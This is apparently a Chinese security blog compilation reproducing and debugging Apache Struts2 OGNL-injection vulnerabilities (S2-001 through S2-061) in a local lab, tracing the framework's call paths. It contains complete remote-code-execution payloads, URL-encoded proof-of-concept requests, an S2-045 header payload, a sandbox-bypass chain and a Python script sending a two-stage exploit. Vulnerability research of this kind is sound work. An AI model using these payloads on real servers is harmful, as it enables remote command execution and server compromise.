struts2漏洞复现分析合集
阅读原文时间:2023年07月11日阅读:1

struts2漏洞复现合集


tomcat安装

漏洞代码取自vulhub,使用idea进行远程调试

struts2远程调试

catalina.bat jpda start 开启debug模式,注意关闭tomcat程序

在idea中配置remote调试,对应端口为8000.

导入相应jar库。

框架结构:

  • 控制器:核心过滤器StrutsPrepareAndExecuteFilter、若干拦截器和Action组件实现
  • 模型:有JavaBeans或JOPO实现
  • 视图
  • 配置文件:struts.xml
  • Struts2标签

工作原理

(1) 客户端(Client)向Action发用一个请求(Request)

(2) Container通过web.xml映射请求,并获得控制器(Controller)的名字

(3) 容器(Container)调用控制器(StrutsPrepareAndExecuteFilter或FilterDispatcher)。在Struts2.1以前调用FilterDispatcher,Struts2.1以后调用StrutsPrepareAndExecuteFilter

(4) 控制器(Controller)通过ActionMapper获得Action的信息

(5) 控制器(Controller)调用ActionProxy

(6) ActionProxy读取struts.xml文件获取action和interceptor stack的信息。

(7) ActionProxy把request请求传递给ActionInvocation

(8) ActionInvocation依次调用action和interceptor

(9) 根据action的配置信息,产生result

(10) Result信息返回给ActionInvocation

(11) 产生一个HttpServletResponse响应

(12) 产生的响应行为发送给客服端。

动作类

​ 某些动作需要进行逻辑处理,这些逻辑需要写在动作类里。

​ action接口:在xwork2中有一个Action接口,所有的动作类都可以实现该接口,同时必须实现该接口中的execute()方法:实现动作的逻辑。

​ ActionSupport类:编写动作类,通常继承ActionSupport类,它是Action接口的实现类,是Struts2的默认动作处理类。

OGNL表达式

​ OGNL称为对象-图导航语言,是一种简单的、功能强大的表达式语言。使用OGNL表达式语言可以访问存储在ValueStack和ActionContext中的数据。

首先来介绍下OGNL的三要素:

  一、表达式:

    表达式(Expression)是整个OGNL的核心内容,所有的OGNL操作都是针对表达式解析后进行的。通过表达式来告诉OGNL操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串,整个字符串将规定操作的类型和内容。OGNL表达式支持大量的表达式,如“链式访问对象”、表达式计算、甚至还支持Lambda表达式。

  二、Root对象:

    OGNL的Root对象可以理解为OGNL的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是Root对象,这就意味着,如果有一个OGNL表达式,那么我们需要针对Root对象来进行OGNL表达式的计算并且返回结果。

  三、上下文环境:

    有个Root对象和表达式,我们就可以使用OGNL进行简单的操作了,如对Root对象的赋值与取值操作。但是,实际上在OGNL的内部,所有的操作都会在一个特定的数据环境中运行。这个数据环境就是上下文环境(Context)。OGNL的上下文环境是一个Map结构,称之为OgnlContext。Root对象也会被添加到上下文环境当中去。

ValueStack栈

​ 对应用程序的每一个动作,Struts在执行相应方法前会先创建一个ValueStack对象,称为值栈,用来保存该动作对象及其属性,在对动作进行处理的过程中,interceptor需要访问ValueStack,视图也要访问ValueStack才能显示动作和其他信息。

​ ValueStack有两个逻辑部分组成,Struts2把动作和相关对象压入Object Stack,把各种映射关系存入Stack Context。

OGNL表达式payload分析

#符号用于访问非根对象属性

ProcessBuilder与Runtime.exec()的区别?

ProcessBuilder.start() 和 Runtime.exec() 方法都被用来创建一个操作系统进程(执行命令行操作),并返回 Process 子类的一个实例,该实例可用来控制进程状态并获得相关信息。

ProcessBuilder.start() 和 Runtime.exec()传递的参数有所不同,Runtime.exec()可接受一个单独的字符串,这个字符串是通过空格来分隔可执行命令程序和参数的;也可以接受字符串数组参数。而ProcessBuilder的构造函数是一个字符串列表或者数组。列表中第一个参数是可执行命令程序,其他的是命令行执行是需要的参数。

通过查看JDK源码可知,Runtime.exec最终是通过调用ProcessBuilder来真正执行操作的。

#a = new java.lang.ProcessBuilder("whoami").start(), //访问a的属性,创建一个操作系统进程(执行命令行操作),并返回 Process 子类的一个实例
#b = #a.getInputStream(),//得到一个输入流
#c = new java.io.InputStreamReader(#b), //读取输入流
#d = new java.io.BufferedReader(#c), //将输入流转化为字符串数组
#e = new char[50000],
#d.read(#e), //读取字符串,即whoami执行结果
//回显结果
#out = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),//获取类
#out.getWriter().println(("dbapp:" + new java.lang.String(#e))), //调用getWriter直接在页面上输出
#out.getWriter().flush(),
#out.getWriter().close()


#_memberAccess["allowStaticMethodAccess"]=true,//设置为true,允许通过地址栏执行方法
#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[50000],
#c.read(#d),
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#out.println(#d),
#out.close()

框架调试主要流程

Struts2系列漏洞起始篇 - 京亟QAQ - 博客园 (cnblogs.com)

​ 首先通过web.xml确定filter,在dofilter处下断点。

这里时进入dofilter方法,可以看到prepare创建了不少,

wrapRequest方法,该方法根据请求类型的不同,采用不同的request包装类

assignDispatcherToThread将当前dispatcher放入到当前本地线程中,

setEncodingAndLocale用于设置请求的本地化,语言以及编码格式,

createActionContext是创建上下文,这个方法步入后会发现创建了OGNLValueStack对象,随后将request,response等放入其中的Context属性(map),并用该Context创建了上下文后返回。

接着就是findActionMapping 构建action的映射类。跟进一下可以发现,这是先从当前request中判断是否action有对应的配置信息。如果没找到,继续调用getMapping通过uri解析出对应的配置信息,其中调用的方法与一些漏洞有关。

之后,prepare部分完成,进入execute部分。

绿色部分是执行静态资源请求,蓝色部分则是调用Action

步入后调用serviceAction

这里前半部分是对valuestack的操作。

后半部分则是创建action代理,执行代理方法。

我们步入这个execute方法可以看到,这里其实还是利用代理机制,调用invoke来调用对应方法。

这里有一条调用链dispatcher -> StrutsActionProxy -> DefaultActionMapper,这里 DefaultActionMapper是action实例的调用类。

步入invoke,首先调用各种interceptor对请求进行处理。

拦截器处理完之后,会调用invokeActionOnly,其中会通过反射机制去调用action的方法

接下来就是返回结果Result。Result是struts2中的重要元素,Struts2自带多个Result类型,在struts-default.xml中可以看到。

跟进executeResult函数。

看到这里是去获取resultcode,并根据result进行一些处理,主要就是连接cotroller层和view层

继续跟进execute,可以看到调用了conditionalParse方法,conditionalParse用于处理先前的location,也就是跳转地址,里面会判断location是否有ognl表达式,有的话将会执行表达式,也是因为可能是动态返回结果。之后就是doResult。

待续。

漏洞介绍

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

调试过程

首先根据web.xml找到filter链

可以看到这里只有一个filter ,进入该类,在doFilter方法处下断点,该方法时filter的主要逻辑实现。

开始debug,输入payload后可以发现成功进入断点。

而后逐步调试,可以发现后续进行了mapping对action进行了映射,mapping成功后,调用了serviceAction,对动作方法进行调用。

进入该方法,这里创建代理,执行动作

代理执行invoke,进行方法调用

之后进入了interceptor,这里会调用若干interceptor

关注Parametersinterceptor,接收参数

调用execute方法,随后struts会调用具体实现类ComponentTagSupport进行标签的解析

继续跟进,判断altSyntax是否开启,如果开启会对参数值进行重新组合,随后调用addparameter

在findvalue中执行translate,解析表达式,导致ognl表达式被解析执行

步入之后会先提取出%{}内的部分,即password

之后提取password的value,即payload


这里的循环将不断解析

此处继续解析获取root对象时,就可以发现代码已执行

至此,分析完成。

总结

这个漏洞出现在对标签的解析,这里通过循环判断是否有%{}结构来决定是否使用ognl表达式进行解析。在调试例子中,首先将password改为%{password},而后获取password的root属性,即payload,如果payload中有%{},则也会进行ognl解析,造成恶意代码执行。

漏洞介绍

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。

主要调试过程

由于该漏洞在类型转换错误是触发,可以直接去寻找对应的拦截器,即ConversionErrorInterceptor

该方法中接受了非法的参数'+(1+1)',而后调用getOverrideExpr方法,步入查看

可以发现这个方法作用是为参数值添加单引号。因此才需要构造'+(*)+'格式来逃逸单引号。之后fakie.put方法将map映射存入fakie中。

接着调用setExprOverrides方法。

该方法将overrides(包括payload)存放到stack的override中。

之后就需要关注何时取出payload。

由于也是jsp显示payload的结果,与s2-001相似。因此找到jsp标签解析处进行跟踪,如图

之后再解析age参数时步入,就会发现再tryfindValue方法中,lookupForOverrides方法会取出之前存入stack的参数,

即''+(1+1)+'',之后调用getValue解析此表达式,得到Value=11,达成OGNL表达式执行


至此,分析结束。

总结

这个漏洞主要时类型转换错误时,会对输入添加单引号,而后再标签解析时使用OGNL表达式解析。此时只要构造合适的payload就可以逃逸单引号,执行OGNL表达式。

漏洞介绍

当发生重定向时,OGNL表达式会进行二次评估,导致之前在`S2-003`、`S2-005`、`S2-009`进行的参数过滤未对重定向值进行过滤,导致了OGNL表达式的执行。

漏洞原理及调试

先来看action代码

检测name是否为空,若不为空则返回result为redirect。再来看struts.xml如果返回result为redirect则跳转到页面/index.jsp?name=${name},这里在标签解析时,会从valuestack中去取值。

来跟踪调试一下,这里由于是取值,因此直接从executeResult处进行调试。

这里是接受result参数,conditionalParse用于处理先前的location,也就是跳转地址,里面会判断location是否有ognl表达式,有的话将会执行表达式,也是因为可能是动态返回结果。

这里取出name的值后,发现内部是个ognl表达式,就继续解析执行了。

其实这个漏洞具体的解析流程与S2-001是一样的,但是S2-001的补丁为什么没有起作用呢。

S2-001的补丁代码中, openchar只有一个,进行匹配时,只会执行一次while循环,即完成一次${}或者%{}匹配后,pos>0,导致start=-1直接跳出while循环。结束对payload的匹配。

而这里redirect过来的参数中有两个openchar,因此pos会有两次为0.导致会对ognl表达式进行两次解析。修复时,可以将int pos=0移出for循环。

漏洞介绍

Struts2 标签中 `<s:a>` 和 `<s:url>` 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

1. none - 链接不包含请求的任意参数值(默认)
2. get - 链接只包含 GET 请求中的参数和其值
3. all - 链接包含 GET 和 POST 所有参数和其值

`<s:a>`用来显示一个超链接,当`includeParams=all`的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

POC:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

调试

这里有个思路:由于ognl表达式漏洞的触发点都在getvalue处,因此可以直接在这里设好断点,然后再触发漏洞时,就可以直接看到它的调用者。逆向推导其调用过程与漏洞触发原理。

通过调用栈可以看出这个漏洞调用流程

首先对link.action做正常解析,解析完毕后对页面jsp做标签解析。这时发现了标签,并且有includeParams属性,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

看一下具体的参数构造点 buildParameterString。这里正常获取参数

之后进入 buildParameterSubString。这里会调用translateAndEncode方法。

步入查看,可以发现立即调用了translateVariable方法。这个方法就是解析ognl表达式的方法。几乎所有的漏洞都是由这个方法触发的。

这个解析的结果保存在context中。

仔细调试一下会发现调用了ASTSequence.class中的getValueBody去解析ognl表达式,保存在context之中。

解析的调用链。

总结

这个漏洞的根本原因是在 buildParameterSubString中对参数进行了ognl解析。

之前分析的getValue直接将代码的执行结果保存至result,调试的时候方便查看结果,这里由于一些条件,将结果保存到了context中,因此调试时花了些功夫。调试过后发现doStartTag,doEndTag都调用了getValue。而恶意代码执行在doStartTag就完成了。于是便深入调试getValue函数。发现其在解析ognl时会调用AST语法树去解构ognl表达式,即上图的ASTSequence.class中的getValueBody。

漏洞介绍

ST2使用action:或redirect:\redirectAction:作为前缀参数来进行短路导航状态变化,后面用来跟一个期望的导航目标表达式。一看到这两个写法后面跟的是表达式,一定意义上就看到了RCE的可能性。

poc

http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

调试

通过之前的调试基本上可以总结出来,关于ognl表达式的注入漏洞,在getValue处下断点进行调试即可。

以下是调用栈:

与前几个漏洞不同的是,这里并未调用拦截器,而是直接execute,调用了redirect,我们跟踪一下看看。

在进入filter时,首先使用findActionMapping构建action的映射类。跟进一下可以发现,这是先从当前request中判断是否action有对应的配置信息。如果没找到,继续调用getMapping通过uri解析出对应的配置信息,

这里解析出mapping.result为redirect

之后会判断result是否为空,不为空则使用result去进行execute 动作代理

跟进这个函数可以发现她直接开始对location进行解析,而location正是输入的payload。后续过程就与S2-012一样了,只是这里不像S2-012需要再解开外部的%{},可以直接解析,执行ognl表达式。

总结

与之前几个漏洞不同,这个漏洞执行了另一个分支(由于使用了redirect,而直接进入了execute),因此调试过程也简单不少。

漏洞介绍

动态方法调用开启了会导致安全问题

poc

http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

调试

这次在以往getValue处下断点并没有成功断下,换一种思路开始调试。

可以发现其参数是debug,那么debuggingInterceptor是否会成功拦截呢,尝试在debuggingInterceptor中的intercept断下断点。可以发现成功进入断点。

我们可以在reflectionProvider中发现我们的输入payload。

继续调试,发现获取了debug的参数值command。

接着看type=command时的代码

调用findValue时,还是会最终调用到getValue,至于前面为什么在getValue没有断下,应该是由于多态,有多个getValue,刚好调用的不是下断点的那个,以后应该在getValue最底层的代码处下断点。

至此,分析完成。

总结

这个漏洞依然还是ognl表达式注入导致命令执行,只是执行路径与之前的有一点不同,在debug模式开启时,使用debug参数,被debuggingInterceptor拦截下来,分析其参数从而造成命令执行。

漏洞介绍

当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。

method: Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。

这个版本漏洞要求在struts.xml中将DynamicMethodInvocation设置为true才能利用成功。(低版本ST2的DynamicMethodInvocation默认为true,高版本默认为false)

poc

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

调试过程

看一下调用栈,应该是在findActionMap

就在拦截器调用完毕后,调用invokeAction,从代理处获取method,接着使用getValue对methodName进行解析,触发漏洞。

遇到问题

在struts2-blank.war包中无法复现

这里是在AnnotationValidationInterceptor中产生了保存,我们跟踪调试一下,发现这里有个getActionMethod

继续跟踪来到Class中的getMethod方法,最终返回为空

之后发现由于是开发者模式,所以会抛出异常,直接结束。

在showcase中可以执行命令,但会报错,此poc有一点问题。

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=whoami

换成这个就行

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

poc分析

简单

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),d//这里使用#parameters.cmd[0]的原因是使用method:的时候ST2会去创建一个ActionProxy来执行method后面的内容,当我们把内容放到StrutsActionProxy类的构造函数中去创建代理对象的时候会对我们传进来的表达式做一次编码,会对‘’进行转义,因此不用‘’使用#parameters去获取参数
//后续的,d是为了补全这个参数中的(),否则会报错
&cmd=/Applications/Notes.app/Contents/MacOS/Notes

复杂

#_memberAccess = @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#res = @org.apache.struts2.ServletActionContext@getResponse(),//获取response对象
#res.setCharacterEncoding(#parameters.encoding[0]),//设置编码方法
#w = #res.getWriter(),//response.getWriter()返回的是PrintWriter,这是一个打印输出流
#s = new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),//使用Scanner类接收命令执行的结果 ,useDelimiter将分隔符改为pp的内容,即接收的内容只会被pp的值分隔。
#str = #s.hasNext()?#s.next():#parameters.ppp[0],//判断scanner中是否有内容,然后保存到str中
#w.print(#str),//输出str
#w.close(),
1?#xx:#request.toString
&pp = \\A&ppp = &encoding = UTF-8&cmd = whoami

S2-045、S2-046 - 京亟QAQ - 博客园 (cnblogs.com)

上述连接中的调试过程应该是2.3.5中的。本文使用的是2.5.10版本进行调试,有些不同。

漏洞介绍

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.

poc

POST / HTTP/1.1Host: localhost:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8,es;q=0.6Connection: closeContent-Length: 0Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

调试

调用栈

我们来看一下拦截器的代码,主要是对request做一些错误处理。

我们可以看到request中的contentType字段。

这里还有一个error属性,即提示request对象没有multipart/form-data的contentType

我们的payload主要出现在defaultMessage参数中,跟踪这个参数。

再看后续的代码。

我们看到这里对message进行了translateVariables,接着便是逐渐步入getValue方法,进行命令执行。

可以看到node.getValue执行完毕后,header里内容就改变了。

接下来,我们去看看报错信息是怎么生成的。

定位到这个RequestWrapper


可以看到这个时候parse前还没有出现error,步入看一下。

processUpload会抛出异常,然后,errors添加errorMessage。

总结

这次的漏洞成因是在处理错误信息时调用了ognl表达式。

环境部署

showcase源码修改后进行本地调试运行:

http://localhost:8080/struts2_showcase_war_exploded/${111+111}/register2.action

struts-actionchain.xml改为如下代码,这里使用了redirect的payload,一共有三种payload

<!DOCTYPE struts PUBLIC        "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"       "http://struts.apache.org/dtds/struts-2.5.dtd"><struts> <package name="actionchaining" extends="struts-default">        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">            <result type="redirectAction">              <param name = "actionName">register2</param>            </result>       </action>   </package></struts>

漏洞介绍

Struts2应用程序的配置文件(配置文件根据应用实际情况而不同)中如果namespace值未设置且(ActionConfiguration)中未设置或使用通配符的namespace时可能会导致远程代码执行,同样也可能因为配置文件中没有对url标签设置value和action的值,并且没有设置namespace或使用通配符的namespace也会导致远程代码执行。该漏洞的攻击点包括Redirect action、Action chaining、Postback result,这3种都属于struts2的跳转方式,用户可通过这3种传入精心构造的payload来发起攻击。

该漏洞危害等级为严重,任意攻击者可利用该漏洞执行远程执行任意命令,造成服务器被入侵的等安全风险。由于该漏洞通配符的namespace为禁用,在实际场景中存在一定局限性。

调试分析

以下是struts-actionchain.xml原来的内容。

<!DOCTYPE struts PUBLIC    "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"   "http://struts.apache.org/dtds/struts-2.5.dtd"> <struts>    <package name="actionchaining" extends="struts-default" namespace="/actionchaining">        <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">            <result type="chain">actionChain2</result>              </action>       <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">            <result type="chain">actionChain3</result>      </action>       <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">            <result>/WEB-INF/actionchaining/actionChainingResult.jsp</result>       </action>   </package></struts>

redirect利用

经过比较可以发现存在漏洞的代码未设置namespace,并且使用了RedirectAction。

namespace为空意味着:只要找到一个xxx.action,没有找到精确的对应的namespace,全部都交给namespace为空的这个package去处理,

在漏洞介绍中redirect是一种利用方法。我们来看看具体的调用栈。

我们看到程序在redirectResult处进入调用了解析。跟踪看一下

可以看到这里的namespace是/${(111+111)}

最后对location参数做了解析

我们看一下location是怎么生成的。


这样就清楚redirect利用的原理,struts2会对redirectResult.execute()所构造出的uri进行ognl解析。这样的话,如果namespace设为空,则可任意构造namespace。这里有一个疑问,如果配置文件中的namespace就是一个ognl表达式,是否可以直接执行

POSTBACK 利用


基本上这几种利用方法都是解析uri,只是不同的跳转方式对应了不同uri构造方式。

actionchain利用方式也相似。

总结:

配置文件未定义namespace,导致我们可以自定义namespace,同时,使用一些跳转方式跳转到另一个action,这个过程中会对uri进行一次ognl解析。

修复:验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。

漏洞环境

S2 2.5.16

添加标签

注意这里的skillName在对应的action需要声明,才可以作为参数传入

在解析标签时,会进行两次ognl表达式解析,导致参数内容被解析,导致恶意代码执行。

漏洞调试

查看调用栈

可以看到在doStartTag中解析了恶意代码

跟踪看一下。

主要看一下这个处理参数的populateParams()。

这个方法使用了多次super,在方法底层调用了setID方法。

步入


检验是否为expr表达式


进入到表达式的解析

第一次解析结果

在evalBody处进行第二次解析,步入

一路跟踪到这里,进行第二次解析,和第一次解析一样。

到这里基本上解析结束。

payload 分析

struts版本>=2.5.16时,需要考虑沙箱的绕过。

OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776) | GitHub Security Lab

绕过原理简述:

    两个非常重要的开发建设对象。第一个是_memberAccess,这是一个SecurityMemberAccess对象,用于控制OGNL可以做什么,另一个是context,这是一个允许访问更多对象的上下文映射,其中许多对象对于exploit构造非常有用。
    Struts使用_memberAccess来控制OGNL中允许的内容。最初,它使用了一些布尔变量(allowPrivateAccess、allowProtectedAccess、allowPackageProtectedAccess和allowStaticMethodAccess)来粗略控制OGNL如何访问Java类的方法和成员。默认情况下,所有这些都设置为false。在以后的版本中,还有三个黑名单(excludedClasses, excludedPackageNames和excludedpackagenampatterns)用来拒绝对特定类和包的访问。
    在版本迭代过程中,任意构造方法java.lang.ProcessBuilder被禁用,allowStaticMethodAccess也不能再更改,意味着无法访问静态方法,最后,_memberAccess也无法访问了,无法更改ognl的权限。
    首先先来看一下S2-045的payload是如何绕过以上限制的。
    (#container=#context['com.opensymphony.xwork2.ActionContext.container']).//首先从上下文映射中获取Container
     (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). // 在container中实例化OgnlUtil类,但是这里的OgnlUtil是单例模式,所以返回的是全局实例。
        //单例模式,这类对象只能有一个实例,提供一个全局访问点
    (#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()). //清除了限制
        //这里能够清楚限制,是因为MemberAccess创建时,调用OgnlUtil的全局实例初始化OgnlValueStack的securityMemberAccess,即MemberAccess。这意味着OgnlUtil的全局实例共享相同的excludedClasses, excludedPackageNames并且excludedpackageNamepatterns设置为_memberAccess,因此清除这些也将清除_memberAccess中相应的Set。
    (#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
        //之后,OGNL可以自由访问OgnlContext中的DEFAULT_MEMBER_ACCESS对象和setMemberAccess方法,用较弱的DEFAULT_MEMBER_ACCESS替换_memberAccess,然后执行任意代码
    (@java.lang.Runtime@getRuntime().exec('xcalc'))

    来看看如何绕过2.5.16的限制
        首先,在2.5.13中删除了对context的访问,同样,excludedClasses等黑名单在2.5.10之后变得不可变。
        分成两次发送payload
        第一次
        (#context=#attr['struts.valueStack'].context).//由于无法直接访问context,利用struts.valueStack的context
        (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
        (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
        (#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))//将对应的限制设置为空,但是由于不是修改_memberAccess和ognlUtil引用的集,所以这个更改只影响ognlUtil,而不影响_memberAccess。

        第二次  //为什么要发送两次。因为第一次发送时无法更改_memberAccess的值。但是由于第二次接收请求后,createActionContext又被调用了一次,重新创建了_memberAccess,由于之前更改了ognlUtil,因此对应的限制ExcludedClasses和ExcludedPackageNames为空集。
         (#context=#attr['struts.valueStack'].context).
         (#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
         (@java.lang.Runtime@getRuntime().exec('xcalc'))

单例模式

利用单例模式解决全局访问问题 - 文酱 - 博客园 (cnblogs.com)

private static BluetoothSocket bluetoothSocket;//静态私有实例

private BluetoothSocket(){} //私有构造方法

public static BluetoothSicket getBluetoothSocket(){//通过静态方法返回
     if(blueSocket == null){
           bluetoothSocket = new BluetoothSokcet();
     }
     return bluetoothSocket;
}


import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

本漏洞基于S2-059,绕过了2.5.25修复的ognl表达式执行。

内含POC丨漏洞复现之S2-061(CVE-2020-17530) (360doc.com)

待更新

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器